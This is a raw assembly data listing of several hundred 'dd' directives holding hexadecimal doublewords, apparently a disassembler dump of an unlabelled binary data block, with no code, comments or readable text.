		dd 0C82E970h, 549FA0A6h, 67319DBCh, 0AFE2FE54h,	43480B4Fh
		dd 5B067BC2h, 0D0092FB6h, 0E91B41C8h, 85EC2B05h, 726F4D7Bh
		dd 0B061B85Ah, 0B1DA9BDh, 0EF314158h, 0AB50C284h, 8760DB29h
		dd 0E9519F1Eh, 0BA106CA6h, 233BE941h, 0DEE9DDF5h, 0CD8C7E42h
		dd 0A66F5BA8h, 0C8E9C326h, 0C74D25CDh, 7E268FF7h, 0BDF7D0AFh
		dd 294B69F1h, 0C214F43Eh, 67405AD5h, 2CB23C23h,	5A81835Ah
		dd 59314B59h, 396FB140h, 0BA9B4E21h, 18C16080h,	40FC275Ah
		dd 0E122AA8Fh, 30E22355h, 5447E154h, 533558EDh,	1DC30A44h
		dd 0F54F0Bh, 0B7AAE376h, 0D05E297Eh, 0C03A7C29h, 0A6097583h
		dd 20810C5Fh, 68E4F181h, 0C176006h, 6CF5373Ah, 19E096C1h
		dd 0B4432987h, 0A5AA845Fh, 0A2AB41B4h, 0A3F1DBBDh, 2D72234h
		dd 5F0E559Ch, 84C07E09h, 81F22DB4h, 133280D2h, 0E8D1F4CFh
		dd 0C870EBC1h, 260BBFC3h, 744E90FFh, 0FDFB9F61h, 0CD167569h
		dd 61FE5D4Ah, 71FB19Dh,	5F2A0A5h, 1DC2BAD6h, 40E75C49h
		dd 8F12A07Ch, 0E9CD290Bh, 97947810h, 27F6B6F7h,	52D9D9F1h
		dd 7C9DC5CFh, 4AAEB6EAh, 5EA4C8C8h, 1712F775h, 32CD78F8h
		dd 462F86Ah, 4C3E3242h,	84C7FF13h, 898E8029h, 954F27Ch
		dd 3C1EE946h, 55627A5Ch, 82647CE0h, 711A52F3h, 3AD34060h
		dd 6826D805h, 0B66662FEh, 6B4414A8h, 0BF4ECF6Fh, 0AE53A1C4h
		dd 4E5EDE8h, 0AE3B0276h, 0CC04D9CAh, 0C25DD50Eh, 3E5E5291h
		dd 0E004E392h, 10436C9h, 0B1BFECD9h, 208E6AE6h,	0D205AE05h
		dd 49B2F597h, 0B8E0414h, 56F69FB1h, 0D4027B62h,	25906AE0h
		dd 8E95E114h, 5137858Fh, 0E36A45FAh, 0AC9E5D90h, 0AA08349Dh
		dd 0C4F128D0h, 2EC23F60h, 0A0A8F62Ch, 1F1503CBh, 0D9298830h
		dd 8DC8D7EAh, 2A6E3368h, 26E7C8C9h, 0F289060Ch,	0C307EA98h
		dd 0D410E28Dh, 99BBD9A4h, 32BD2F59h, 90720EC4h,	14A26892h
		dd 555164A9h, 0BEE1FBD9h, 2DE92508h, 3CEF0B2Ah,	5585F609h
		dd 0D6B00079h, 2D922B2Fh, 0F281514Ah, 3C12C036h, 19935001h
		dd 0FED87B25h, 0CC1C12F4h, 0F5CF4A7h, 0D9A8A527h, 5C5AFE5h
		dd 88182BBDh, 0EAEFAB13h, 3B306C3Fh, 41344829h,	27D93D08h
		dd 95FE78A4h, 0FEB945Fh, 741DFBBh, 51E94B21h, 50F72B1Bh
		dd 50633604h, 0F3C9D02Dh, 667A2009h, 792D0A0h, 50302705h
		dd 8DBA01B8h, 41CBFDBAh, 2B7D46FCh, 0D03B8B2h, 5E9F1EDCh
		dd 180BA1C0h, 10354F01h, 89F0F83Dh, 2EB28B2Eh, 0A70D1F29h
		dd 86205F0Eh, 311B9B53h, 54D3F70Dh, 10E2EF8Fh, 8A8918C5h
		dd 0DE0C6080h, 2D74BD0Bh, 0E1455FE9h, 470DB22Ch, 7CDA2FACh
		dd 0D2061E47h, 6B25A1D8h, 52F1E8Bh, 83D10AF4h, 31672307h
		dd 7940404Ch, 2440A05Ah, 0AE9C4DEDh, 0B0F1B095h, 49E831B8h
		dd 32073C5h, 0D88C0291h, 1BB9C0Bh, 0FB57BE60h, 0FCC2A7C9h
		dd 61ACD5h, 6F744EA3h, 9264E7E9h, 0E4BBF973h, 0F4EC408h
		dd 0AE5BBC8Bh, 4819C32Ch, 1944705h, 6249FF5Eh, 5FC0E178h
		dd 421E4978h, 0B0FDD24Ah, 0E0B03148h, 35854CB5h, 11C9CDBh
		dd 0CD584533h, 7C6E824Dh, 570FD902h, 827FC589h,	75D34AF2h
		dd 210514E6h, 5A085438h, 2D6E38FAh, 33E3000h, 0E9C8295Ah
		dd 0AA174B84h, 2409CD5Eh, 0D7BC1238h, 0DCF617D0h, 0A5B90E9Fh
		dd 1DB706BCh, 85082718h, 549F58C5h, 0CECA7059h,	0E4FB27CEh
		dd 71D1064Fh, 1C637B26h, 8010158h, 0E909EF45h, 344AEB41h
		dd 848B25ABh, 5F5BFCE2h, 68B1B0E2h, 3353A8Ah, 2EBC2CEBh
		dd 0F4822141h, 73932C6Ah, 801E492h, 9D1A60E9h, 0AFD3E677h
		dd 0BF5B95ACh, 75B4E032h, 0EF5C2D04h, 0F05AD2B7h, 64F1C32h
		dd 0AA5F4CA3h, 6D04C713h, 4616182Ah, 0EE8273FFh, 0DEB9C3E0h
		dd 0BAA54413h, 60886124h, 68591C6Fh, 59951BD6h,	0F14BF7h
		dd 7B014212h, 7CE4C764h, 31E3C06Eh, 0F8E65BDFh,	989F16B5h
		dd 8C6B5B03h, 970C2A7h,	0EFFEFEB7h, 54F8F2A5h, 0C05F728Fh
		dd 7E4122ADh, 84EAD126h, 0AB3A7D00h, 1DFD2533h,	43717F79h
		dd 2D720774h, 6E0FF200h, 13E97E76h, 54768297h, 5DEE648Ch
		dd 62C5FEE1h, 6F2C0E81h, 0B1605051h, 5A26E9E7h,	10CDF3F7h
		dd 4F1F339Eh, 22314281h, 0C15DC18Bh, 0BE2F596Ah, 0F87BA939h
		dd 53EC585h, 0B5127AF2h, 42C3FBC1h, 59EF8032h, 5BFE2708h
		dd 501C4A5Fh, 0E1212F77h, 3642C3F1h, 77B503A1h,	2A55FCB9h
		dd 0B6ED3744h, 19426800h, 8E970496h, 88185D3Eh,	4B5F7F0h
		dd 0E93A5D49h, 4010F199h, 0EB05014h, 14EEBF4h, 4830D089h
		dd 598340Ch, 3AE1FA0Ch,	4CBE703h, 6517AA69h, 4908C230h
		dd 0B444770Bh, 0C1CFD730h, 15ECE7F1h, 0CE29A96Bh, 0B5787F25h
		dd 3D2A6193h, 3B9D6812h, 3A847DEBh, 79C49BA2h, 0EF12162Bh
		dd 0FB03C4EFh, 102DF0C0h, 0FC444B37h, 810767D3h, 307A5960h
		dd 9876B01Dh, 960509C6h, 0AFACC69Ah, 1C164EB8h,	391E6546h
		dd 0E48DB30Fh, 0BDEACF01h
		dd 9BC4C266h, 287220FFh, 0FE97BD08h, 0AC16157Dh, 9392F34Ah
		dd 0BA029DE7h, 3B9F71F9h, 0A7F5BD41h, 0FE88890Dh, 460BCB4Bh
		dd 42B3CA42h, 538BEFFDh, 0E2E05A2Ch, 18DF0F21h,	82446586h
		dd 69D7E8D7h, 0BA8F4CBCh, 143C1C11h, 0DECD702Ah, 0E527110Bh
		dd 0E04BBC4Bh, 0E927F2FAh, 3185E1D0h, 9DA2AB60h, 275C4D8Bh
		dd 0FC5B75Ch, 0CFAB2C97h, 0F3E9095Bh, 6C527DE3h, 4529F697h
		dd 4599EE9Eh, 13C3052Eh, 531FB27h, 0D66B09E7h, 0DEBD5AFFh
		dd 84EA8CA5h, 0AA986641h, 44A18B27h, 0E317A0BBh, 0C4507C18h
		dd 0ABFA451Eh, 6958848Ch, 0D4843FDEh, 0BE56003Eh, 0C4B45903h
		dd 1E963022h, 0C3925A1Dh, 1227B6FAh, 9CE339A8h,	0F524C72Fh
		dd 55E782E0h, 3FBFB6E5h, 5592FC3h, 0ED07C04Eh, 4B093E34h
		dd 0EC9A200Dh, 2EE5A76h, 0B5215D80h, 0E0B5CE4Ch, 0D365982Ah
		dd 0A4B80E21h, 0AF1855E5h, 40FE08C5h, 0B2C2F1E9h, 1270C2Ah
		dd 260E5BCBh, 4BC1103Dh, 0D7CD28E1h, 2DCF4C20h,	0F6E006E4h
		dd 710C5DBAh, 1E016A8Dh, 85E9164Fh, 0E3B5203Fh,	0C44FB9CEh
		dd 0B23460E0h, 0B3389D65h, 33C0181Ah, 0E6F5F4EBh, 25577CFDh
		dd 2FC4B891h, 364DA30Ch, 0A2F73E10h, 164E5507h,	7482E12Fh
		dd 9C7F72E2h, 0F24E20C8h, 9279280h, 740F592Fh, 0AA568C19h
		dd 0F809BB1Ch, 0D453FD67h, 7F7E8598h, 0D821C19Dh, 7BF0FAE9h
		dd 10A16816h, 0B2C573ECh, 30472D58h, 59BD73DAh,	685582D5h
		dd 0DA4C321Ah, 13507C20h, 46F31EE9h, 1563BFE4h,	2F42AA34h
		dd 12D28BB2h, 0C00ED57Dh, 3B5F68C5h, 56934C91h,	8040B9E2h
		dd 16AF2A8h, 0ACC9816Eh, 2079C54Fh, 0C4800415h,	0FEF52CFAh
		dd 73C4ACD9h, 96519220h, 0EEEF1389h, 50CF2A0h, 0E9B075E2h
		dd 0AB92EA3Dh, 1382D0D3h, 0A00827AAh, 0AB12CF04h, 18452D7Fh
		dd 89AE2B6Dh, 5FBE2F36h, 10D149E2h, 228288F6h, 76634E11h
		dd 0BEF71318h, 89CE4409h, 8196DC5Ah, 192CA9EDh,	0CBD47A17h
		dd 910C0818h, 145A250Dh, 38B6B177h, 9559D674h, 0EA013070h
		dd 0A3F28108h, 6FD2E2h,	144DD580h, 0F95BE91Bh, 0C11174BEh
		dd 0C06D428h, 0DE10ABFh, 148C649Fh, 0C22F06DFh,	11E9D6C8h
		dd 4322E44Ah, 3304D521h, 7560EB5Fh, 12B03D18h, 0FBFD0147h
		dd 0C4E99872h, 4DDD2DECh, 51508B54h, 0E563CC6Bh, 0D997E6E8h
		dd 0BAF145D8h, 61BBE912h, 2148DEBh, 0D6F85D35h,	5A416816h
		dd 6B0C2D67h, 0ECD69D21h, 6B97966Dh, 0A0C9E858h, 58022B1h
		dd 0B4501DC9h, 0B1E6FB68h, 0F71DB958h, 0E969306Ch, 0A3D2EB46h
		dd 0DD06E21Ah, 0DAAD640h, 90673C3Dh, 0FC4B022Eh, 0C3170564h
		dd 0C1AE8D7Fh, 1E87A2h,	0B54B595Fh, 9CFB2020h, 292EEA75h
		dd 6334D9DAh, 0BEE56FFh, 29F4A357h, 8E8C3315h, 42A81222h
		dd 198EA9D3h, 686715DEh, 0F333CF1h, 0A8253D4Ch,	5B6461DAh
		dd 2CC2237Eh, 6ACB7C2Fh, 0B4710FEh, 8980F430h, 8E49796Ah
		dd 0E64EF588h, 0BF5A49Eh, 0E88513B5h, 56FC2845h, 62685303h
		dd 2F619247h, 36FD5B65h, 1DEBA1B2h, 3BB744D2h, 4D3D0660h
		dd 0AA0BE2AFh, 0FEEF6C0Fh, 0B40EBC77h, 9216A3BFh, 0C4487714h
		dd 0CFBAF986h, 8A954EBEh, 19688190h, 1C1B9778h,	577740F8h
		dd 6ED787B7h, 870DE850h, 314E39F7h, 8FE69F2h, 0A5742984h
		dd 0AA8B7F9Ah, 0BDC3D25Eh, 56007670h, 68575255h, 3F8D317Dh
		dd 5AAD5F02h, 2BFCF2E2h, 449A942h, 0DD108357h, 0D4F2AE9Dh
		dd 0B96A0451h, 0F025C91Ch, 0B66CB06Ch, 955962Ah, 0BD7444EAh
		dd 18342C83h, 2EEFD946h, 763CFB2Eh, 99725377h, 0AA6FE913h
		dd 23539F13h, 40A534F2h, 52EA8062h, 501FD2F6h, 7A43C1B0h
		dd 1D3A16E9h, 0CB8A2C4Ch, 0E1448483h, 43126817h, 0EFB97461h
		dd 874AA83Dh, 5E8EA3E3h, 0D0F61405h, 6DC2E22Ch,	0DAF4E807h
		dd 605281A3h, 0C14B5F6Ch, 83B07CE8h, 0BD9001C2h, 10B41159h
		dd 9D7A5E82h, 12B0E50Ah, 8E2DEA2Dh, 25DD5C6Bh, 5E9FBED8h
		dd 0D32F5600h, 0F7141057h, 4A12F4F9h, 823F31E6h, 4992DD3h
		dd 756C17B4h, 0BB9041C5h, 0BF5FFE29h, 2A7BCCDEh, 9D989169h
		dd 1F871CD7h, 0E5FEFDF7h, 53AD13FBh, 97E9C348h,	0ABE9175Eh
		dd 48F5A84Eh, 38ED2BDFh, 0BF881190h, 0EB81D6AFh, 4A9ACA44h
		dd 7135B527h, 0AF30ACADh, 6A20236Ch, 7558BD3Ah,	7465941h
		dd 524FBD63h, 0DB4DE904h, 3A88F891h, 8E28CC3Ah,	15E9192h
		dd 125AE9E4h, 0B94A835h, 36105EADh, 828282BBh, 7AFB0DE9h
		dd 0BB144ADAh, 0D34409D8h, 0CCF4BF95h, 6513D23Bh, 0BCD1D2B4h
		dd 0DB3DE77Ch, 0C01374EBh, 9A4C6C3Fh, 0BA522B1Ch, 7BD967Ch
		dd 4A1863F9h, 5FFB3D8Dh, 3507A6F7h, 16A5B808h, 5E83B855h
		dd 36B20E00h, 0E04CC580h, 9ADCF8D5h, 3C05A5C5h,	0A54247Eh
		dd 4F098F85h, 9E83A872h, 204E9020h, 0BF056252h,	7A8E02A1h
		dd 782ADA03h, 49C0F598h, 0C4B1C7Eh, 4FD7F738h, 67137012h
		dd 0DF02113Fh, 828808E2h, 0DF52A9A9h, 31A868D3h, 3AE30912h
		dd 1727EE0Ch, 5C3D09E2h, 1FD6749h, 74855BE6h, 4052760h
		dd 29CE82C1h, 3E73C2C2h, 2FC0E6F5h, 527B3192h, 2503A4h
		dd 3325B882h, 50C498A5h, 4B5F77C2h, 431A2051h, 6448887Dh
		dd 7F12814h, 5D895F25h,	0A9F498A7h, 0DDC9E8D4h,	9E985C96h
		dd 57AE925h, 28AE5F70h,	6AB0530Eh, 1A6AC00Ah, 6E08924Ah
		dd 0B3D42F8Bh, 84CF561Fh, 5E762428h, 0E6C080EBh, 0A7705DFCh
		dd 0B7EBBC80h, 0E0C89CC0h, 148FBF80h, 0BF103570h, 473CA604h
		dd 39F4C86Eh, 3B9F040h,	790B5DD0h, 0EC01CF09h, 0E48226C7h
		dd 0CB645780h, 834827A9h, 0CD209658h, 82409D10h, 2F510A19h
		dd 5957E2DDh, 0A615234h, 802D38D0h, 62227EA0h, 0C0BB0B53h
		dd 0B780D723h, 9416A5E3h, 3F27948h, 0CAD93ECFh,	0F75B9909h
		dd 96044CDBh, 412D0C2Eh, 2BC176E5h, 0BD58D5A0h,	9FBBE3h
		dd 0E982654Bh, 28162FE7h, 0C0512C2Dh, 0C06A535Eh, 24075414h
		dd 57B12D4Fh, 1F915C83h, 0D1D002BCh, 7C05C80Ch,	0E0C1D8F7h
		dd 32042FE8h, 0FE06D74Bh, 3005A50Eh, 4525523Bh,	6CD5028Bh
		dd 0BC54B54Bh, 0FE2D5726h, 0E7AE225h, 67DD7D6Ah, 685C8277h
		dd 6C663865h, 27CD86C1h, 846F0910h, 0A400FE6Ah,	5EC44E5Ch
		dd 4C90481h, 802D7D66h,	0A1391DB4h, 0DE343075h,	85BF493Eh
		dd 1F2AA845h, 0D996C709h, 0F0314740h, 2559505Eh, 65E82958h
		dd 65B9476Ch, 55FB7237h, 5EB16C83h, 0E53F0B24h,	81228708h
		dd 0E8B608F1h, 0B085ED1Bh, 0AAEF9C5Dh, 14CC276Ch, 8A0C856h
		dd 42959498h, 0A628DB5Bh, 0C8D127E9h, 911D8020h, 4540CC43h
		dd 4C7DE581h, 0E94E1532h, 0EA4AFD94h, 252062C9h, 4E607DBEh
		dd 607F05Eh, 0FF6E09B7h, 1CF21C10h, 6914024h, 0B3146400h
		dd 4B590507h, 0D06DE067h, 0CA0747F9h, 0DC922711h, 0B7EF97Dh
		dd 0A2E89AA4h, 0B0C15008h, 2DD37A5Bh, 0CA2692FFh, 2A884030h
		dd 83944801h, 0D2EF61Ah, 0A6206154h, 282C9BB8h,	8809BFC6h
		dd 0CB3879F5h, 4CF79062h, 672BF3Ch, 0CF8C090h, 0FBCA3D50h
		dd 0B64D6528h, 0D52BFE25h, 0BB42B112h, 25CC945Dh, 0B73A8C16h
		dd 13B29E8Ah, 7D38AB7Fh, 7B2D1868h, 0E8DD6633h,	8068EC9Fh
		dd 26430FC7h, 3CE652FAh, 5808A172h, 17E9BA64h, 77FF9FA8h
		dd 0E1FDB52Fh, 0A43A2Fh, 75330AF5h, 0EF820CFh, 49335CAh
		dd 13E3E73Bh, 0EFFE16FAh, 0CB81FD84h, 1A83C733h, 74C6805Bh
		dd 0F08850D0h, 5D9275FAh, 4781BB09h, 0E3670214h, 0A31A57EBh
		dd 187473FFh, 1050A45h
		dd 4E442209h, 0C4C40B59h, 20D32283h, 95BEC0C0h,	9D7F0C42h
		dd 667F6B4Ch, 7F408A2Ch, 0B9565203h, 4CAB043h, 480CEC4Ah
		dd 3F7E5042h, 989174Fh,	41DD5AD6h, 126FB48Dh, 11F2BB98h
		dd 8486E8B5h, 16139621h, 3098B538h, 9467A5FBh, 3675FDB3h
		dd 2802C7B8h, 69EC80D4h, 0E0B5626Ch, 0B5826854h, 32F0BB66h
		dd 0B06469B6h, 0C7038F9h, 9397E9FCh, 5A3EB762h,	0CC7F3980h
		dd 0F815E0Ah, 0F329B37Bh, 943AC005h, 44F3AE60h,	0BBD7861Ah
		dd 2255205Dh, 9D023E6Bh, 7C9FEFD0h, 8565931Eh, 67F2EA6Ch
		dd 0AE88BFD6h, 77AB25E9h, 729114E8h, 1301208h, 0D20820F7h
		dd 658FE0Ch, 2408C628h,	8D621BBh, 712F2775h, 2E7B7131h
		dd 2CAAB216h, 92A156C9h, 5932931Ah, 54A561AFh, 0DBD87A5Dh
		dd 0D85945B3h, 913D3784h, 1E7296DEh, 95E807F4h,	0C75DD689h
		dd 43AC8C1h, 0F3077E68h, 4D1100DAh, 0CB8123D7h,	88603EC5h
		dd 49F30F76h, 1D3A312h,	8380666Ch, 2E66358Dh, 0B72DD5E0h
		dd 0E918FEFAh, 689692F6h, 0D0791E36h, 2DD19F48h, 5B7934E4h
		dd 9A441D2Dh, 0AA4CDFC2h, 4111825Fh, 0C8748488h, 0D418AB12h
		dd 42C58Ah, 0CE815C12h,	7E593480h, 0AA0E4E60h, 2F38CA2Bh
		dd 9009D4E9h, 0F63942F7h, 0D62002F2h, 61DD3591h, 0CB3E2150h
		dd 0BBF84B17h, 0E82FC1B8h, 74A3500Eh, 8C261D0h,	3C393C68h
		dd 32B19F50h, 6AB8E1E9h, 53BBE82h, 54F46033h, 4DA01E3Bh
		dd 48500796h, 14A37507h, 22457398h, 49E97E09h, 0F89A5716h
		dd 6AAE845Dh, 434C10E8h, 0BF0B3912h, 0F5F49987h, 49C1A680h
		dd 0E9361706h, 0AD23A02Eh, 25CF2D16h, 0D857551Ch, 6B2F83F8h
		dd 0BE13362Eh, 0C0534838h, 606FDF2Ah, 0E97E5A50h, 5B4C06B2h
		dd 1E204D7h, 80AB67E6h,	425068BAh, 570FB295h, 0EE4E25ECh
		dd 0A87517FAh, 567E1021h, 9F273D50h, 0C20D8EA2h, 0A8274DD5h
		dd 59F24088h, 0FE96682Dh, 5B5F636Ah, 0C0A8FBACh, 0F43B51E0h
		dd 91935607h, 0B73ED1F7h, 20C44CFCh, 35C11C5Dh,	3B6015F3h
		dd 975E32ECh, 7128DEA0h, 8B8453Ch, 3198BE7Dh, 6BEB8100h
		dd 0E935B456h, 199B63Eh, 0AA1077B9h, 0ADBFE852h, 6804639Bh
		dd 1B8D430Ah, 97513920h, 740B94F8h, 555E0345h, 0A7613741h
		dd 57A97713h, 42AD84h, 7FFBF781h, 0F61D60D5h, 1F742D5Fh
		dd 2EB8AF62h, 57020902h, 5907400Ch, 0E77DC0C7h,	2A2C9CF1h
		dd 1AB5BA02h, 54C03BB1h, 3609341Eh, 84D5897Fh, 0E8BBE62Ah
		dd 89BEB4CDh, 129A386Bh, 2BFDB879h, 7E30258Eh, 0F32BE235h
		dd 157AB1EDh, 0ADFEFB07h, 800DA504h, 8DB8062h, 2F905EF7h
		dd 44E9D90Ah, 42085E4Bh, 0C689097Dh, 3C6CFC91h,	79EA4B19h
		dd 3352EA8h, 0E9F7ED60h, 2C473768h, 0C77256ABh,	7124577Ch
		dd 436F6A44h, 0F11CE8BEh, 0C489BBBFh, 0E3F955FDh, 0FE7C6C2Dh
		dd 4B514C13h, 12704194h, 0E091B5E8h, 9A25E963h,	0C4105D2Bh
		dd 5582BD85h, 77C9E065h, 0E9782879h, 9F82973Bh,	71E0EAD1h
		dd 702C15BFh, 0F0011B0Eh, 294D0F9Dh, 95FD5E2Ah,	41CBB17h
		dd 2CF80E4Eh, 0C8B5B82h, 0BD1E94DFh, 8D2DCE98h,	74706917h
		dd 71610AFh, 0CAC65D2Fh, 2E6F8022h, 69355B25h, 12159B5Ch
		dd 0A5592CE9h, 0FE031F09h, 22D56980h, 0C1B5FF2h, 0EF4A5032h
		dd 31B62DFEh, 9F536F20h, 7DEB53E4h, 19BC28D7h, 0EF9AC5AEh
		dd 9E50BF1Ch, 141C6808h, 0DCFE591Fh, 69E632A7h,	612F55C1h
		dd 9CE29264h, 0C3DF6DF0h, 9784F897h, 50978580h,	3D455C2Bh
		dd 0AF0D9334h, 0F3BBDF85h, 1F11D296h, 3FC048C5h, 0F4C1C132h
		dd 6060EE3Ah, 4AE9E788h, 7F71EC1h, 397FB450h, 0FC7C07DDh
		dd 1C8E8EEh, 316EBBBDh,	18186042h, 143A4702h, 0DD05E5C1h
		dd 0ED0BF050h, 7E747754h, 0FC59070Dh, 0D0E2C72Fh, 0C141CF0Fh
		dd 1207EA30h, 4CAE5A09h, 88051D4Bh, 0BBA70282h,	0EF014C80h
		dd 0C0B975E9h, 1A50BF76h, 29F38C0h, 64E15118h, 80D87344h
		dd 798D7F7h, 0E507490Fh, 0B0B7A576h, 7A17E3ABh,	0E4356625h
		dd 251A9890h, 0D312E3F7h, 53010778h, 5F203633h,	653FA3E9h
		dd 4FB2FBF7h, 6605AAC8h, 0B7052968h, 0A2E5129Eh, 5B9C55C4h
		dd 8B3B1FFBh, 1579276Eh, 6BF6D9ADh, 0B50E3D6h, 0B2092C0h
		dd 0C3481BC6h, 0C948610h, 42AD79B5h, 0C52036D3h, 769D61A0h
		dd 0C9F51F3Eh, 29A14BB0h, 0BBC762E0h, 0C7B65280h, 91308C0h
		dd 0D1D35Fh, 0E9CCFE55h, 57DDC8ADh, 0C91D4A8Fh,	0F73402DDh
		dd 685E09FEh, 17641427h, 0E8033FE9h, 0F8CFC0A1h, 0FC41D94Ah
		dd 2857BA5Ch, 7E2DFF7h,	47C65D10h, 0E3598B31h, 0DA6A2867h
		dd 0C2C25564h, 82F6F944h, 72BE78CBh, 690C856h, 89316B04h
		dd 0EE44BB2Ch, 407AB9Ch, 0A1E57590h, 92F13BF0h,	0B640DECDh
		dd 5CFE2345h, 0AD4A422Bh, 0F38913ABh, 0BEE30700h, 0BF3CB66Dh
		dd 0EA2FA2C1h, 0EEFC72EBh, 47B95604h, 59575809h, 38D9A6ADh
		dd 9EB51AA9h, 7E0642B8h, 3DF42D20h, 9335D840h, 0DF812CF9h
		dd 0A6702F5Dh, 72888440h, 5BD828F3h, 0CFF4F3DEh, 0BF891DAh
		dd 4DC4F7AEh, 1CBCC9FCh, 80525F09h, 0B16CFB1Ah,	8E50B515h
		dd 66E66307h, 26BC8DE9h, 6A60002Dh, 0FE052C1Dh,	0F697ED3Dh
		dd 9F876A74h, 0C86612E9h, 0B4F25166h, 3EB73A4Eh, 38F8076Bh
		dd 0F52B8725h, 99299346h, 0CAA4DE70h, 0FD4BFA09h, 7CF89FCEh
		dd 0BD0A2D60h, 1EFD2844h, 84E5817Fh, 0D556BF68h, 0EB720743h
		dd 0F059771Ah, 3467AACDh, 0A3454Ch, 10DD5180h, 0B727E3E9h
		dd 3DF53118h, 2CBD00BBh, 54AFA9FCh, 0F35F5A40h,	4186A0D1h
		dd 5CA8EF31h, 0BE4B59D3h, 7879F3B1h, 29B2F186h,	9A8F605h
		dd 1FBA7C9Ah, 32BA895Ah, 0FF957DE4h, 15B42614h,	0EAE0E962h
		dd 88ACFCC9h, 68054348h, 668D30F3h, 4041B42h, 0A1988052h
		dd 258371Dh, 0D65B2DA8h, 2EBAE2EFh, 0E91D61E0h,	5217DB5Bh
		dd 82A4D0BCh, 9D72C79Fh, 0B4D45E9Dh, 65E6820Ch,	0A0F78840h
		dd 9BE50B13h, 69537D13h, 2EBCFCCh, 30133228h, 9DC2FB01h
		dd 6B5A0809h, 0E5C44225h, 0E120830h, 2CBE5912h,	302A0D4h
		dd 96E92D43h, 60185790h, 84C0F062h, 0AF8CE81h, 0AC325A65h
		dd 0B4AF922Eh, 113D7643h, 4A75CCB7h, 4C121DBBh,	29680BFBh
		dd 5A1BC548h, 0D9CA6D17h, 2A1BBD00h, 0ED836CF2h, 3C2FCE90h
		dd 6DAFA284h, 0A1A5553h, 4A02D1D5h, 0FFF2C23Bh,	854BE901h
		dd 79EFF852h, 40B80CE8h, 0A03BE2Ah, 0F752156Dh,	3CC3FD6h
		dd 0B43EFF96h, 819DB41Ah, 76CC800Fh, 0B3C8873Fh, 40130895h
		dd 3104C120h, 2D07D323h, 0FC6F8037h, 0D8C28150h, 75BD6404h
		dd 780A5D8h, 579D4D58h,	21CBEA23h, 9FAA4E4Fh, 0D95C2F58h
		dd 605859FEh, 0D9B70DABh, 0E729E930h, 15332E06h, 4E39A5A0h
		dd 0A0385B81h, 2DE2005Bh, 27E84DBFh, 0D655350Fh, 0BEE984C9h
		dd 45EB7BD5h, 1F4C4198h, 0AD0F5289h, 0EF4612FCh, 5A4B1C15h
		dd 0B5F29BA9h, 6A84AFF0h, 2F6BAC81h, 0E10028CAh, 7849504Dh
		dd 606122E9h, 3C875922h, 765874Eh, 32DFEF5Ah, 234CE10h
		dd 701863BDh, 4BF0FDEDh, 16B9AE5Fh, 2F57BB18h, 7197469Ah
		dd 96F52D74h, 60A42539h, 0BD28E2C6h, 0B97589EEh, 54C2760Fh
		dd 59DB4055h, 4BE10C3h,	6E8FE163h, 47BCBA31h, 0F4132CA6h
		dd 0D45F7826h, 413F7285h, 80C4C210h, 1A1C342Dh,	363132E9h
		dd 0F07FC2E5h, 5CE2F645h, 0B78047BDh, 4928CA6Ah, 62029798h
		dd 5653BA45h, 1894E0BEh, 9C39842h, 778B5165h, 912928D6h
		dd 0FBF59D17h, 254F29E0h
		dd 13DC7749h, 4AB4614h,	19D63BF3h, 25D1DE81h, 4761A05h
		dd 873B8ADFh, 0AE5AEC07h, 7C16E932h, 83EA96CFh,	43F06A44h
		dd 0D09D314Eh, 99632C7Bh, 350CBC2Eh, 1FCE320Ah,	8138539Dh
		dd 5529D72Dh, 220DD44Fh, 0D8F0EB98h, 61070551h,	0BB120598h
		dd 11E95721h, 680ACE3Ch, 88F36C50h, 0E1A276DFh,	0CDCC7298h
		dd 1FA0A6D0h, 559982C3h, 0AD5EEE8Ah, 793984A6h,	26E9A258h
		dd 0F9BD479Ah, 9B260F4h, 684EB1E9h, 0FC2647BAh,	0C516370Eh
		dd 703D771h, 0BAE674D0h, 28FAC016h, 7D975CAFh, 84A63DAEh
		dd 92D96EDh, 87247DF0h,	2EEBC4Ch, 7C6EC1BDh, 0CC1C03Bh
		dd 0E2684B08h, 3C401807h, 2C099C27h, 25CE4121h,	2003CCD5h
		dd 591E9577h, 9716E1D1h, 91A01884h, 2753B41Bh, 64C1E5D7h
		dd 8007A0A5h, 282FEC09h, 8253F1E3h, 0BDCDE952h,	4B16A27Ah
		dd 0E4567BEEh, 0D5D99EF1h, 9F06617Bh, 0C831844Bh, 0BBC2E723h
		dd 0B08A43D2h, 9CB87D54h, 0FECF15C1h, 0C5935334h, 0F4B4BF07h
		dd 95DE9F5Bh, 0BD271750h, 203AC6FBh, 53D0B7C4h,	9916312h
		dd 4E5E32D8h, 0B538EB19h, 0F3775A26h, 0A1929F5Ah, 0C4749BF1h
		dd 444C4E50h, 403166C8h, 0ED4AF9E5h, 0BEB4904Bh, 7E5F02F6h
		dd 0F601EE3h, 65337783h, 4EFCDA5Ah, 4B5F9E50h, 0BD1790BFh
		dd 122420DDh, 5600DC48h, 0E9396C57h, 8B8CBECAh,	468003E3h
		dd 2BB4507h, 0EDF554B8h, 0F231F521h, 0DF5AC8C4h, 3DFBCE84h
		dd 408B7B56h, 0F7C84070h, 4968E112h, 2A84B5AFh,	83B342FCh
		dd 0D28CAFCDh, 408A64BCh, 6DB4BF5Ch, 81EB50F7h,	68C80931h
		dd 0D5B03414h, 0CE922E0Bh, 5D4B2977h, 6816C0BFh, 0D49D2162h
		dd 6CD7A5A6h, 0C8642DFFh, 7D5BCB30h, 480B1B93h,	8B9FD973h
		dd 735CFB93h, 72B0B860h, 314D7EB6h, 0C82D2D2Fh,	92EBE059h
		dd 249D46B6h, 65B6528Fh, 44A86254h, 1D246A1h, 0D0DCF731h
		dd 0CF46950Bh, 5B923EEh, 5B216886h, 35E14839h, 0E384F45Ch
		dd 584B8A81h, 0DB7A2D16h, 4DAABD29h, 5BA09AAh, 0CF07FA0Ch
		dd 7425C2D5h, 20F6DE68h, 0F01CA828h, 57DF0E18h,	12BAEF60h
		dd 0A548690Dh, 0FE080422h, 8EFEE63h, 0FFDC7866h, 84411E3Dh
		dd 1F02B824h, 6B879C40h, 0DDC39A08h, 0F8B57716h, 437995CAh
		dd 280245EBh, 9571E4B0h, 9922E666h, 0BBC34E81h,	5E5AC204h
		dd 0DEE561EFh, 6834500Eh, 0D22D14F5h, 177DD462h, 8FA05CD8h
		dd 0B9293C77h, 0F6AFC2D5h, 42078E6Dh, 4CFD3169h, 900C82BFh
		dd 99732630h, 0DCE98B43h, 0AD045920h, 5195D828h, 0E0D527FBh
		dd 35E97F2Eh, 0F8266EA9h, 0BD13A134h, 7E882D3Fh, 0C0FBDC56h
		dd 0E906FC93h, 6DD31F5Fh, 74FEDA4Fh, 1A99EAF6h,	35A80C7h
